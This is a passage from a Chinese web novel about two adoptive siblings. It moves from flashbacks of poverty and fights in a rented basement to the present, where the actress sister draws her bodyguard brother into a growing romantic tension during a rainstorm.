后来,奶奶变成了一张黑白的相片,爷爷长期住在医院。城里的老房子不值钱,连同柏闻父母留下的那笔赔偿金一起,全填进了手术费和后续治疗里,他们搬进了最廉价的出租屋。
十九岁的柏闻辍了学,把背挺成一根不会弯的钢筋,一个人撑起了这个飘摇的家。
黎宴还记得那段苦中作乐的时光。
出租屋阳台下面的垃圾场里有个斜坡,雨天的时候会有老鼠从这里爬上来,整夜整夜在楼道里乱窜。直到彻底迷失了回家的路,意外死在楼道阴暗的角落里,腐臭气混杂着阴湿的霉味,闻着就令人作呕。
而为这些见不得光的入侵者们收尸,则成了被入侵者生活里不得不为的一环。
饭点前,黎宴将装着老鼠尸体的垃圾袋丢进离家不远的街道垃圾箱,回家后看见,柏闻已经拎着工具蹲在门口,开始修理被老鼠啃出一个洞的木门。
夏夜郁热沉闷,地下室的空气不流通,湿哒哒黏在皮肤上的滋味很不好受。柏闻穿着件无袖,牛仔裤洗得褪色,正用锤尾起开门板上生锈的钉子,之后再换新的木板。
一套操作下来,柏闻浓黑的短发被汗水浸湿,汗液顺着后颈一路滑进背心深处。黎宴赶紧进门拿了蒲扇,在他身边尽心尽力地扇。
咚、咚、咚——
随着最后几声落锤,柏闻很快将门修好,黎宴随手用袖子擦去他额间的汗,跟他一起回屋,关门时听见生锈的合金页从身后传来吱呀的响。
锅里烧着排骨,香气扑鼻,黎宴嘴馋地想要凑近闻闻,柏闻却笑着将她转了个方向。
“先洗手,菜又不会跑。”
黎宴笑嘻嘻地用脑袋蹭他的手臂:“那是因为你很久没烧过排骨了,我在检验你的手艺有没有退步!”
柏闻笑了一声,沾着水的手轻轻往黎宴脸上一弹。
“馋猫。”
黎宴朝他吐舌:“略。”
柏闻失笑地揉了一把她的头发,拿起一旁的锅铲准备大火给排骨收个汁,这时,木门外传来砰砰的拍门声。
“在家没?开门!”
房东尖利的嗓子传来,柏闻下意识将黎宴拦在身后,随手又套了件T恤在身上,自己先去开门。
门一开,穿着睡衣从楼上下来的房东甩来一张单子,手里拿着根竹签剔牙,满口飞沫:“拿去!这个月的电费。”
柏闻接住那张轻飘飘的纸,不等他开口,房东的鼻子使劲抽了抽,闻着味儿不客气地往屋里钻。
她站在灶台边望着锅里,“哟,还烧排骨呢?啧啧。”
兄妹俩避无可避,只能站在那里听房东的冷嘲热讽。
“有钱买排骨打牙祭,老娘的房租倒是一拖再拖?又说下半年要续租,这个月又不交钱,我说你们兄妹俩怎么回事?到底能不能交钱!不能的话就早点说,把你们屋里这堆破烂连人带铺盖一起给我搬走,别影响租给下一个!”
柏闻攥紧水电费单子的一角,皱巴巴的纹路爬满了整张纸。他把黎宴挡在身后,让她只能听见他说话时平缓的语调,看不见脸上赔礼的笑。
“下雨工地不开工,我找了别的工作,房租的事会尽快。”
他停顿片刻。
“一楼麻将馆那两台坏掉的机器,明早我过去给您修好。”
黎宴知道,柏闻这是让房东再宽限几天的意思。自从他们搬来这里,有时为了给紧张的经济压力缓口气,大到屋棚翻新,小到电器检修,甚至包括给孩子辅导作业,柏闻几乎替房东一家包揽了所有杂事。
房东哼了一声,眼珠提溜转,在黎宴和柏闻身上来回梭巡,像一柄锃亮的刀子,轻而易举就能刺破他们廉价的少年尊严。
黎宴想一起跟着说点什么,至少不要让柏闻一个人为了生活卑微赔笑。然而刚想张口,柏闻像是洞察了一般用背在身后的手拉住黎宴,安抚地捏了捏她的指尖,他没回头。
“张姐,打麻将咯!搞快点!”
楼上传来其他人的喊声,房东叉腰,扯着嗓子尖利地回了一句:“来了来了!别催了!”
临走前,房东顺走了柏闻烧在灶上的排骨,站在门口回看了黎宴和柏闻一眼,目光落在柏闻背过去的那只手上。
“哼...”房东鄙夷地皱眉离开,楼道口张罗她打麻将的女人嗑着瓜子探头,一脸看热闹不嫌事大,窸窸窣窣的对话声传入他们耳中。
“也是造孽哦,当哥的拼死拼活,早也打工晚也打工,可那点钱够干什么?医院就是个无底洞,老头子的药没停过吧?听说前两天又欠费了?”
“驴脑子呗,自己都活不明白,还硬拖着妹妹往火坑里跳。”
“我看不好说,老头子那病指不定哪天就蹬腿了。那姑娘成绩不错吧?万一以后考个好大学,毕业找个好工作,日子不就好起来了?”
“好日子?等得到那天吗?他自己这条路都已经看到头了。本来就不是亲生的,那姑娘往后真有本事,见的世面大了,回头想想这些破烂事,感激还是嫌弃可说不准。别到时候一片苦心养出个怨来,那才叫笑话呢。”
两人的声音消失在楼梯尽头,每一句话都像是脏抹布,重重地甩在兄妹俩的脸上。而对他们来说,这样难听的话屡见不鲜。
前两天正午,太阳毒辣得很,黎宴提着饭盒穿过堆满建材的沙地,朝施工楼里大喊。
“哥——”
正在三楼支模板的柏闻听见了,手里的活没停,只从钢筋丛里探出半个身子,朝她摆了摆手,示意她等一会儿。等他忙完后,脱了手套,拧开水龙头冲掉手臂上的灰,才下楼揉了揉她的头。
“怎么进来了?不是说在大门口等我?”
黎宴弯着眼睛笑:“怕你饿,想让你早点吃饭。我今天做了炒土豆丝哦,厉不厉害?”
柏闻隔着透明的盒盖看了一眼:“厉害,但你确定不是炒土豆棍?”
“不吃还我!”她伸手要夺,被他笑着挡开。
两人在水泥管后头的阴凉地坐下,柏闻拿起筷子,她挨着他坐,心满意足地看他低头扒饭。看得久了,目光就不自觉移向他后颈被晒红的皮肤,她伸手,轻轻帮他弹掉了木屑。
几个下工的工人晃到附近歇脚。
起初他们只是随便打量,直到其中那个矮胖的朝这边多瞥了几眼,歪头和工友说了句什么,几个大男人嬉皮笑脸地仰作一团。
“哟,那就是柏闻他妹?长这么水?”
“怎么,你想当他小舅子啊?过去叫声大舅哥听听?”
“听说姓不一样啊,认的干妹妹吧?嘿嘿。”
“怎么干?哈哈哈哈哈哈......”
话越说越
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脏,被风灌进耳朵。黎宴听得羞愤,拳头紧紧地攥住,肩膀都在发抖。
身旁的柏闻放下了筷子。
黎宴转头拉住他,柏闻只是默不作声地把盒盖封好,轻轻抽出被她攥着的衣角。
他拍了拍她手背:“乖,坐这别动。”
黎宴意识到事情不妙,先咽下自己的火气:“哥,我没......”
柏闻已经起身了,走过去没说话,直接揪住最先开口的那个人的衣领往旁边拖。那人踉跄着骂了句脏话,拳头用力挥过来,柏闻偏头躲开,照着他的胃就是一拳。
闷响过后,那人猛地呕了出来,血沫溅在沙地上。
另外几人愣了两秒才围上来,拉架的,劝和的,起哄的。柏闻谁也不看,只盯着地上蜷缩的人,揪着头发把人拎起来,又一拳砸在对方颧骨上。
黎宴看得心惊肉跳,不敢贸然扑上去给他添乱。她知道柏闻从小学拳击,几任职业退役下来的教练都说他天赋好,是吃这碗饭的料。地上那几个流里流气的工人加在一起,也不是他的对手。
可她从没见过这样酷戾的哥哥,他的神情那么冷。那双会给她扎辫子,会半夜起来给她掖被角的手化作沉默的拳,此刻正一下一下,重重砸在别人的脸上......
今日种种,犹如前日重现。
出租屋内,黎宴站在柏闻身边,在这尊严都被刺破的死寂里,她不敢看他,又忍不住看他。
柏闻站在那儿,脸上一点表情也没有,仿佛刚才那些话只是过耳风。他甚至没往空了的灶台看一眼,只是收起那张缴费单塞进裤袋里,关火拧上煤气罐的阀门,没事人一样对她说。
“走,哥哥带你出去吃。”
说着,他拿过门边的伞往外走,黎宴却一把拉住他摇头。
“哥,我们吃面吧,我想吃你煮的面。”
“我不想吃面。”
柏闻没回头,声音很闷,反拉着黎宴去开门。黎宴执拗地停在原地,用力将他拽回来,在他身体倾斜的瞬间,扑上去成为他的支点。
黎宴一把抱住他,紧紧地,牢牢地抱住他。
“哥,我们吃面吧。”
黎宴安安静静道,柏闻在她怀里纹丝不动。她没有松开他,和他一起静默地维持着这个姿势。
过了好一会儿。
啪嗒——
黎宴听见伞落地的声音。
下一秒,那双一直垂在身侧的手臂缓缓抬了起来,终于环住她的背。起初只是轻轻地拢着,渐渐地,越来越用力,像要把她嵌进自己骨头里。
黎宴被他勒得有点喘不上气,却一声没吭。她感到肩窝的地方湿了一小块,温热的,很快又凉下去。他们之间毫无距离地贴近,她甚至能感受到他的胸腔正顶着自己的肩在起伏。
“我......”柏闻哑着开口,黎宴没让他说下去,抬手在他背上轻轻拍了两下,像他小时候哄她。
“我们还可以加两个煎蛋哦,煎得焦焦的,好不好?”
柏闻没说话,只是把脸更深地埋进她肩头,点了点头。
这时,黎宴感觉到小腿被溅上丝丝凉意,原来是风越来越大,将阳台外的雨丝吹了进来。几秒种后闪电倏然划过,雷声滚滚,像是天空藏在雨声里呜咽。
那晚的面,柏闻煮得很认真。两个鸡蛋在锅里煎得边缘金黄微焦,滋滋冒着油香,但他一个都没碰,全拨到了黎宴碗里。
黎宴夹起一个要往他碗里放,他抬手挡开:“面太多了,吃不下。”
“那你咬一口嘛。”
“油放多了,腻。”
黎宴没再坚持,她低头吃面,热气扑上来,熏得眼睛发胀。
她知道他在说谎,就像他知道她知道。
14. 第 14 章
见黎宴久久没说话,方宁老实了,低头吃自己的饭,不敢弄出太大动静。
黎宴其实早就没胃口了,从她咽下那块糖醋排骨开始。仿佛那不是一道菜,她吃下去的是柏闻的血和肉。
她记得很清楚,房东端走那锅排骨的第二天,柏闻一晚上没回家。
她等他等到后半夜,屋外很远的地方传来狗吠,楼上麻将馆响着哗啦啦的牌声,她却觉得这个家静得令人心慌。直到凌晨时分,她才终于蜷缩着睡去,没多久又被老风扇吱呀转动的声音惊醒。
她舍不得电费,是柏闻给她开的。他回来了,带着一身潮气。
可是好奇怪。
他出门时穿的那件T恤不见了,换了一件长袖衫,领口袖口都规规矩矩扣着。他最怕热,没有这样穿的道理。
“哥?”她从床上坐起来,声音里带着没睡醒的沙哑。
柏闻正弯腰捆角落里那摞旧书,闻声顿了顿,没立刻回头:“吵醒你了?”
她听见他的声音也有点哑,清了清嗓子才转过来,脸上挂着和平常没两样的笑:“才六点多,再睡会儿。”
她没动,目光落向他严严实实的袖口:“你怎么穿长袖了?”
话没说完,柏闻连续咳了好几声,朝她摆摆手:“晚上工地加班,灰尘太重了,回来前冲了个凉水澡,有点感冒。”
她不信,赤着脚跳下床,几步走过去。
“你鞋...”柏闻话音未落,她抓住他的胳膊,不由分说直接掀衣服:“我不信。”
柏闻退了几步,奈何她缠上来先发制人,布料掀起的瞬间,她的视线里撞入大片青紫。
那些伤从侧腰蔓延到后背,在皮肤上交错纵横。有的地方已经发黑肿胀,靠近肋骨的地方有好几道明显的擦伤,甚至还没有结痂。
她扯衣服的手僵住了:“谁打的?”
柏闻迅速下拉衣服,谎言太快被识破让他有些无所适从,想拍拍她的头,手又迟迟抬不起来。
“没事。”柏闻试图安抚她,她却攥紧了拳,气得每个字都在发抖。
“我问你谁打的?!”
见她生了好大的气,眼神恨不得要把始作俑者千刀万剐,像只发怒的小狮子,柏闻挑起眉笑了笑:“这么凶?”
“好啦,昨晚碰见平常看我不顺眼的那几个了。他们找事,起冲突打了一架。都是皮外伤,看着吓人,过两天就消了。”
他说得轻描淡写,黎宴盯着他的眼睛,一个字都没信。
柏闻不知道的是,后来,她花了好几天时间,找了很多人,挨个挨个问。最后从巷口摆摊修鞋的老伯那里,一点点拼凑出了事情的真相。
那晚,柏闻的确遇到了那帮人,但先动手的不是他们。
是柏闻自己找上去的,在那个没有路灯的窄巷里,他被七八个人围住,推搡,咒骂,拳头和棍棒落下来。他抱着头没还手,只是护住脸和要害。老伯缩在摊子后面不敢出声,目睹全程。
最后,为首的那个大概是打累了,也可能是怕闹出人命,啐了一口,扔下一沓皱巴巴的钞票。
“医药费,管好你的嘴。”
那帮人扬长而去,柏闻蹲在地上缓了很久,才慢慢撑着墙站起来。
他擦掉嘴角的血,上前两步,弯腰,一张一张,捡起了地上所有的钱。
就在那一天,地下室的房租补上了一笔,他又给她做了糖醋排骨。
暴雨是从黄昏开始发力的。
黎宴拍到晚九点收工,回酒店前,方宁带来一个好消息和一个坏消息。
她按惯性先听坏的,于是得知刚才司机来电话,说西区那边的下穿隧道被淹了,保姆车绕另一条路过来至少还需要两个半小时。
而好消息是,吴柯的车还没走,方宁可以去协调,蹭个车大家一起回去。
鉴于前几天的绯闻影响还没完全消除,方宁在一旁静候黎宴对两个方案的定夺。然而两分钟后,她站在了柏闻面前。
“柏队,雨太大了,我们车有点问题,麻烦你送宴姐回酒店吧。”
方宁没料到自家老板果断选择了方案C,柏闻听后没异议地点头,见她两手不空,伸手准备分担一部分。但这次方宁很懂事,直接把伞递了过去。
“东西我来拿就好,柏队你去接一下宴姐吧。”
说着,黎宴的身影出现在房车门口。柏闻接过那把伞,长腿一迈走了过去,将伞撑在了黎宴头顶。
雨幕稠密,柏闻引着她走向车辆后排,手刚搭上门把,黎宴却看也没看,径直走向副驾。柏闻愣了一瞬,伞面匆忙追过去倾斜。方宁脑筋转得快,飞快扫了二人一眼,突然一拍脑门。
“对了!副导演刚才发消息找我,我怎么给忘了?不行不行,我得去一趟,柏队你先送宴姐回去吧!”
话音未落,人就顶风冒雨地跑了。
两人彼此无话,柏闻为她拉开车门,黎宴低头坐了进去。
车门合拢,将潮湿的雨隔绝在外。这是黎宴第一次坐他的车,车内每处细节都和他本人的风格很衬。仪表台上一尘不染,任何多余的摆设都没有,他的洁癖一如既往。
但空气里有他的味道。
即便分开多年,黎宴也对柏闻的气息十分熟悉。它曾令她无比安心,此刻萦绕在车里,反倒有种沉默的侵略性,将她完全包裹在属于他的私人领地里。
车门轻响,柏闻坐进驾驶座,声音很轻:“走了。”
黎宴没作声,侧身去拉安全带,扯了一下,没动。
“卡住了。”她低低开口,眼睛瞥向窗外的雨。
柏闻的目光在安全带上扫过一瞬,想帮忙又犹豫。这个距离太近,也太危险。只要他探过去,她就会完全被自己包裹,她有些湿润的发顶会擦过他的下颌,额头会贴在他的胸口,会闻到属于她的气息......
这时,黎宴主动调节了座椅,整个人向后缓缓平移。她脸上没什么表情,只是垂下眼眸,避免与他视线相接。
柏闻这才小心地越过去,拽住安全带刚一发力,立刻顺滑地扯出一大截。与此同时,座椅带着黎宴骤然回升。太突然了,他明明来得及反应,全身神经却像绷紧的弦,牢牢将他定在了原地。
她的唇极轻地擦过他的侧脸。
软软的,凉凉的,像羽毛拂过灼热的铁。
两个人都僵住了。
黎宴没料到自己的心思会引发这样的意外,猛地在他怀里撇头,声音发紧。
“想再调低点,按错了。”
柏闻错愕地张开了唇,空气只进不出。
好......香。
她的气息仿佛有一股魔力,死死缠绕进他的呼吸,钻进他的肺里。
她的体温也热,呼吸好烫,洒在他颈间,又麻又痒。
狭小的空间迅速升温,柏闻说不出话,攥着安全扣的手
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用力收紧,钝痛传来,却压不住他胸腔里横冲直撞的东西。
他迅速将安全带扣好,仓促坐了回去,耳根红了一片。
车子启动,雨刮器规律地擦起了前窗。黎宴也好不到哪去,侧身背对他躺坐着,不自觉用指尖轻碰自己的嘴唇。
她......亲到他了?
诚然,安全带卡住是假的。自从上次树洞后,她已经太久没有靠近过他了。哥哥的呼吸,哥哥的拥抱,那曾是她无比依赖的港湾,多少次难过,失意,被鼓励,都在那里停泊。四年了,只有那点短暂的触碰怎么够?
亲到又怎样?只是这种程度的触碰而已。就算关系破裂了,他们也曾是兄妹啊,虽然不是亲的。
可,难道不是亲的......就不行吗?
这个念头突兀地冒出来,让她不自觉空咽了两下。窗外大雨冰凉,她的脸颊却一点点烧了起来。
回程的路上,两人一直无话。车厢里一片尴尬的安静,只有雨声敲打着车顶。
直到车开到离酒店最近的一个路口,柏闻不得不就近停车。前方的低洼主干道已经彻底被积水淹没,浑浊的水面打着旋,能淹没大半个轮胎,已经有几辆车抛锚在水里。
“过不去了,只能停在这。”
柏闻开口,声音有些沙哑,黎宴反倒一脸平静地酝酿着算计。
“那算了,我走旁边的绿化带蹚过去。”
她拉开门,作势要下车,手腕却被一把扣住。
柏闻的掌心很烫。
“水里脏,而且不知道里面有什么。”
“那能怎么办?我累了,我要回酒店。”
黎宴执意下车,眼下的确也没有别的办法,柏闻只好把伞递过去:“打伞。”
黎宴抿住差点上扬的嘴角,冷淡抽回手:“就一把伞,两个人打不打有区别吗?反正都要湿。”
“黎...”柏闻连名字都没叫全,黎宴已经迈了条腿下车,瓢泼的雨立刻打了过来。
眼看她开始犯倔,柏闻没说话,身体朝副驾驶一探,迅速拽住她的手将人拉了回来。黎宴刚跌坐回车里,柏闻已经从后排抓起一件冲锋衣,在她还没反应过来的时候,将外套裹住她膝盖以下,飞快打了个结。
“你干嘛?”
黎宴一头雾水,柏闻却已利落下车,撑伞朝副驾驶走来。他将伞往她手里一塞,手臂同时穿过她的膝弯与后背。
天旋地转。
黎宴身体一轻,整个人已被他稳稳横抱而起。
她的呼吸微微一滞,腿上裹着的冲锋衣隔绝了雨水的冰凉,然而她的裙子很薄,柏闻的手臂和胸膛传来滚烫的体温,一寸寸灼烧着她。
“好好打伞。”
柏闻的嗓音更哑了,听起来却有种诱人的性感,只是他的视线迟迟没有落下。
黎宴目的达成,乖乖将伞举高了些。柏闻抱着她踏入滂沱的雨幕,倾斜的水流像一道帘,将整个世界隔绝出这一小方天地。
绿化带里积水不浅,柏闻走得不快,却每一步都很稳。黎宴嗅到了他身上温暖的气息,和小时候被哄睡觉时闻到的一样。这一刻,她仿佛抓住了某种熟悉的证据,心里浮起一丝隐秘的得意。
她毫不掩饰地贴近他怀里,将脸颊轻轻靠在他胸口,依恋地蹭了一下。
柏闻的脊背倏然僵住。
而黎宴也听见了。
哥哥的心跳得好快。
15. 第 15 章
酒店大堂外聚集着不少粉丝,柏闻走了地下车库。
临到电梯前,他将黎宴放下,怀里的人反而收紧了手臂,搂着他的脖子不肯松。
她闭着眼睛得寸进尺:“我很累。”
“电梯有监控,会拍到。”他哑着说,“......下来。”
黎宴不语,只是将脸更深地埋进他的颈窝,掩耳盗铃地将自己藏了起来。直到叮的一声,电梯抵达,她才吐出微不可闻的两个字。
“不要。”
“......”柏闻无声吸了口气,心脏好像被刺了一下。
他最终什么都没说,沉默地抱着她踏入电梯。轿厢平稳上行,他这一路不敢垂下的视线终于找到落点,看着镜面映出自己紧绷的身影,她在怀中姿态依赖。
泾渭分明,偏偏纠缠不清。
很快,电梯到达顶层。
柏闻抱着黎宴稳步穿过走廊,厚软的地毯吞掉了所有脚步,只剩下两人交错的呼吸。他在套房门口停步,轻轻提醒她。
“到了。”
黎宴动了动,缓缓掀起睫毛,眼底仍有倦意:“累。”
“黎宴。”柏闻连名带姓地叫她,试图找回一点稀薄的权威。可怀里的人毫无惧色,他只能叹气。
“我没有房卡,你得自己刷。”
她假装听不见,指尖轻轻捻了下他后颈短短的发茬。这个过于亲昵的小动作让柏闻浑身一颤,强撑一路的自制力险些瓦解。他意识到不能再心软,托着她膝弯的手腕往下一沉,打算直接放下。
“不要。”
黎宴骤然收力,双臂搂得更紧,柔软的睫毛不经意扫过他突起的锁骨。一瞬间,某股电流沿着他的脊柱发疯窜上。
她这两个字说得极为不满,声音很轻,却重重砸在柏闻心上。那根名为哥哥的神经被狠狠扯动,身份上的逾矩与压在心底多年的禁忌念头一起作祟,将他的大脑绞成一团乱麻。
“卡在我衣服里。”
黎宴闷闷说了一句。
柏闻原地挣扎许久,最终在沉默中选择认输。他用一只手稳稳托住她,另一只手绕过她纤细的腰肢,小心翼翼伸向裙侧的口袋。
开门的滴声格外清晰,柏闻抱着她走进去,后脚带上了门。他有些仓促地将她放进沙发,没多看一眼便离开,像在逃离洪水猛兽。
“我要去洗澡,点的外卖还没到,你先帮我签收,待会儿交给我。”
她的声音在身后响起,柏闻没回头,只是声音不稳:“我去检查安全通道。”
他说完便快步走了,门在身后合拢的瞬间,他像个战败者一样靠在门上,深深地呼吸了一口。
外卖是在稍晚的时候送来的,柏闻签收时看了一眼纸袋,里面叠着几件衣服。
他想走却不能,之前的工作都是和方宁对接,他至今没有黎宴的微信,并不知道她什么时候出来,只好拎着袋子等在门外,像个被临时摆放在这里的家具。
没过多久,前厅的门被打开,黎宴换了身居家服走出来。柏闻静静站在门口,几滴雨水顺着他俊逸的侧脸滑落,半湿的衣服紧贴着身体,勾勒出宽肩窄腰的轮廓。黎宴在他身上停留了几眼,手里的新浴巾故意兜头扔了过去。
柏闻一抬手便拦截,浴巾上还残留着和她一样的沐浴露香气。
“安保间有独立的卫浴,你去洗个热水澡。”
她忽然来了这么一句,他下意识拒绝:“不用,我回家洗。”
“家?”
黎宴单独拎出这个字,轻轻重复了一遍。
柏闻一愣,马上意识到这个字在他们之间的杀伤力。
然而黎宴换了个姿势,慵懒倚着门框,再开口时已经变了语气:“外面在下暴雨,你这时候回去万一感冒,明天谁来保证我的安全?”
她歪了歪头:“工作要紧,对吧?”
柏闻被堵得无话。
他其实察觉了,从今早开始,黎宴的态度彻底逆转,与之前浑身是刺的样子判若两人。
“我不会耽误工作,明天准时过来。”
他无法放任自己和她共处一室,将浴巾和纸袋放在旁边柜子上,转身走人。
“工作需要你留下。”
黎宴的声音在身后响起,柏闻顿住脚步回头,她的眼睛望了过来,平静得像一汪不起波澜的湖水。
“遵从甲方合理的工作安排,是乙方应尽的职责,也是合同的一部分。作为我的保镖,为确保绝对安全,我要求你待在最近距离,不过分吧?”
说是问句,但黎宴并没打算等柏闻回答,轻飘飘走回客厅,留下早就准备好的话给他。
“从今晚开始你搬来酒店,这层楼的房间紧张,你就住在我套房的安保间里,也方便你工作。”
“袋子里是给你买的衣服,雨天不容易点外卖,尺码不合适你先将就,去把澡洗了。”
她一副公事公办的态度,与前几天的柏闻如出一辙。两人之间的雇佣关系是把双刃剑,既然曾作为他的借口,自然也能成为她当下的理由。
柏闻内心一涩。
看,你可真是给她开了个好头。
他不再辩论,重新拿起那条浴巾,顺手去关前厅的门,可黎宴马上就有意见:“不许关。”
她的声音从客厅传来:“以后也不许。”
柏闻知道她还有一百个关于工作的理由等着自己,索性顺她的意将门打开,转身回了安保间。
夜晚裹挟在雨中流逝。
二十分钟后,柏闻冲完澡出来,换了干净的深色短袖和运动裤,是他从前在家常穿的款式。
出来前他其实犹豫过,理智告诉他应该待在里面,可黎宴还没休息,他没道理闭门不出,显得刻意。
客厅的光线一片暖黄,黎宴盘腿坐在沙发里,膝盖上摊着剧本,手边放着两杯热气腾腾的牛奶。
“你好了?”她听见动静抬头,拍了拍身旁的位置。
“过来帮我对剧本,明天这场戏的情绪很复杂,我不想NG太多次,免得传出去被骂业务能力不行。”
柏闻站在前厅门口,他想说这超出了保镖的工作范围,想说时间不早了。可一对上她等待的眼神,所有拒绝的话全都堵在了喉咙里。
他走过去,在她身侧的单人沙发坐下,保持着礼貌距离。
黎宴看了那位置一眼,没说什么,将另一份厚厚的册子递了过来:“你会对剧本吗?”
柏闻低头翻了两页,上面全是密密麻麻的文字与注释,轻摇了下头:“不会。”
声音不大。
他其实不大愿意被她发现自己并非无所不能这件事,偏偏黎宴笑出了声。
“我还以为你什么都会呢,原来你也有当笨蛋的时候。”
她调侃得很自然,神色柔和,和从前对待他的样子没差,也让他十几年来养成的习惯条件反射般弹了上来。
黎宴一眼抓住了他的端倪,问:“你笑什么?”
柏闻刹那回神,唇角的弧度却被这句话架住,变脸已经来不及了,只好让语气听上去轻松一些。
“以前没有老板要求我会这项业务。”
黎宴轻哼了一声,说不清是满意还是什么:“那现在有了。”
她像在对他宣布,柏闻看见她眼底的得意,可当目光回到手里的剧本时,那种久违的,属于哥哥却已错位的局促感涌了上来。他怕做不好,怕耽误她的工作,怕粗砺多年的自己理解不了那些细腻的台词与情节,给不了她需要的帮助。
黎宴默默将他的不安看在眼里,内心隐秘地浮起一丝被取悦的恶趣味。她低低笑了一声,没说话,想起以前拿着数学题去求他的时候。
她初三那年,数学像天书。小学跳过一级的柏闻已经保送上了大一,暑假正闲得要命。
她拿着死磕不下的题目来问他,他指着练习册,眉眼弯弯,一看就没憋好屁。
“不是吧?这么简单都不会?”
她瞪他:“你会你说啊!”
“求我啊。”他往后一靠,翘起椅子,“说‘哥哥最聪明了,教教我嘛’。”
“柏闻你烦死了!爱教不教!”她拿纸团丢他。
他接住纸团,在手里抛着玩,笑得肩膀直抖。最后还是凑过来,用笔在草稿纸上唰唰写下步骤,声音低下来:“看这里,辅助线画这儿......懂了吗?不懂我再讲一遍。”
直到讲完第三遍,她终于懂了,他揉她的头发:“笨蛋,明天开始每天加练五道同类题,我来出。”
“不要!”
“反对无效。”
他起身去厨房,回来时放下一盒牛奶,已经插好了吸管。
“拿去,喝了能聪明点。”
......
而在此刻,黎宴看着柏闻,他正紧紧捻住剧本纸张的一角。如他当年一样,她也得意洋洋地笑了。
“别紧张。”
她将牛奶递过去,重复了那句跨时空的咒语。
“喝了能聪明点。”
柏闻在她的话语声里抬头,看着她手里那杯牛奶,心里浮起一丝陈旧的酸涩。
他接过她的好意,但没喝,轻轻摆在茶几上。
“看剧本吧,在这里。”
黎宴伸手帮他翻页,指向其中一行。
“是这场男女主历经磨难后,在接头地点的对话,你看……”
柏闻的目光慢一步落下来,先掠过她毛茸茸的发顶,然后是她红润的脸颊,最后移向剧本。
他看书向来一目十行,那些台词并不激烈,但字里行间充斥着一股试探的味道。编剧的注释很直白,表示语气和眼神要带着未尽的遗憾,暗涌的情愫。是那种……很容易让人带入的戏码。
妹妹的嗓音像羽毛似的在他耳边挠。
“从‘你好像没怎么变’开始。”黎宴进入状态,声音轻了下来。
柏闻静默地看着台词,片刻后,低声念出属于男一号的句子:“……变了很多,只是你没看见。”
黎宴早熟记了台词,抬眼看向柏闻,复杂的情绪在眼眸里积蓄:“我看见过,你抽烟了,明明以前不抽的。”
“人总会习惯一些新的东西,尤其是在生
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存的环境变化以后。”柏闻的台词接得很稳,只是握着剧本边缘的手指有些发白。
“习惯新的,也会忘记旧的吗?”
黎宴追问,身体微微前倾,灯光在她的睫毛下投出小片阴影,偶尔眨动,像只墨色的蝴蝶。
剧本的下一局是:高简沉默地望着窗外的雨。
柏闻没有笨到将旁白也念出来,但他也是真的沉默了。
客厅一片静谧,只有窗外的暴雨还未停歇,雨声填补了他们之间的空白。
柏闻的目光从剧本上抬起,撞进黎宴的眼睛。他看得出她眼中有期待,有探究。但他不敢直视太久,因为里面还有一片他沉溺不起的温柔。
某种超越了剧本的情绪无声滋长着,黎宴的呼吸都变得很轻,她看着柏闻近在咫尺的脸,他的喉结微微滚动,薄薄的唇抿成直线。
哥哥的嘴唇……
她鬼使神差地想起了车上那个意外的吻。
即便当时稍纵即逝,她也清楚记得那种属于成年男人的皮肤触感。她想起小时候,她和哥哥会在睡前互相给对方一个晚安吻,但那也是五年级之前的事情了。
而现在……
长大后的哥哥,他的脸……原来是这样的温度吗?
杂念如洪水泄闸般涌了上来。
黎宴忍不住想,他这几年在孟甘过得怎么样?他有新的朋友吗?在和什么样的人打交道?是不是也像从前那样,走到哪里都能轻易吸引别人的目光?在那些目光里,会不会有特别热烈的,属于女人的注视?
他……交女朋友了吗?
这个念头冒出来的瞬间,黎宴只觉得有条蛇钻进了自己的脑子,一点点开始蚕食她的理智。
她凭什么想这个?这跟她有什么关系?
可他是她的哥哥,就算没有那根脐带,那也是她哥。从小到大,他们之间才是最亲密的,他们人生的绝大部分时间都献给了对方。她只是不习惯生命里最重要,最理所当然属于她的那个人,在这几年里,很有可能已经被另一个人悄无声息地占据,享受。
而且,分开四年已经是从她骨头上硬生生撕下一块肉。如果这块肉被别人捡走,如果他的怀抱,他的温度,他低下头哄人时耐心的语调,如果这些都要分给另一个毫不相干的女人……
黎宴越想越觉得窒息,一股裹挟着恐慌和强烈排他性的愤怒涌上来,她的心脏像被紧紧攥住,酸胀得发痛。
不行!
光是雇主和保镖这样的关系还不够,它太脆弱,也太容易被外力斩断。他们之间本就缺少血缘的约束与牵绊,她必须要找到更牢不可破的绳索,把他拴死在自己触手可及的地方。他不能离开她半步,那些曾经只给予她一个人的好,绝不可以分给旁人半分!
黎宴心里一片翻江倒海,柏闻就这么坐在对面,狐疑地看着她突然变得咬牙切齿。
“是不是哪里不舒服?”
他的声音温和了不少,像是担心她淋了点雨感冒,下意识地伸手想去探她的额头,却又如往常一般,手在半空中一顿。
柏闻发觉了这个举动的不妥,想将手收回来。黎宴没惯着他,不由分说攥住他的手腕,将他的手背贴上自己的额头,身体凑得更近。
“我就是不......”
有关身体不适的谎言还没说出口,套房的门被人猝不及防地推开——
“宴姐,明天的通告……”
方宁抱着资料站在门口,声音戛然而止。
她瞪大眼睛,看着沙发上挨得极近的两人,又看着柏闻身上那套与平日风格截然不同的居家服,旁边牛奶是成对的,屋里气氛是暧昧的!
“柏、柏队?你怎么还……”
方宁舌头有点打结,剩一个在字没说出口。
柏闻瞬间抽回手,恢复了一贯的表情,正打算起身,黎宴却先一步开口。
“我们在对剧本。”她拿着剧本朝方宁晃了晃,没有一句多余的解释。
方宁的目光在两人之间转了转,迅速露出一脸我懂了的表情,结结巴巴找补:“哦,对剧本啊!明白明白!宴姐你太敬业了!你们继……继续!我就不打扰了!”
她一边说一边倒退着往外走,甚至很有眼力劲儿地带上了门。门一关,客厅便重新安静下来。
经过这一茬搅合,两人之间那点说不清道不明的空气随之抽离,黎宴心头那丝古怪的悸动也消失无踪。她默默端起牛奶喝了一口,柏闻放下剧本起身,嗓音有些哑。
“很晚了,都早点休息吧。”
“嗯。”黎宴应了一声,没抬头。
只是当脚步声响起,柏闻朝安保间走去,黎宴深深呼吸了一下,终究没忍住:“柏闻。”
那背影顿住了,停在门边的光影里,没有回头。
窗外的雨连绵不绝,她看着他,声音很轻。
“晚安,柏闻。”
那挺直的脊背微微僵了一下,片刻过后,他侧过半张脸,被灯光勾勒出轮廓,看不清表情。
他的声音很低,落入安静的夜色。
“晚安,黎宴。”
16. 第 16 章
黎宴第二天出工很早,剧组主阵地从雨林转移到城区。午后烈日当头,来往的工作人员都被烤成了蚂蚁。
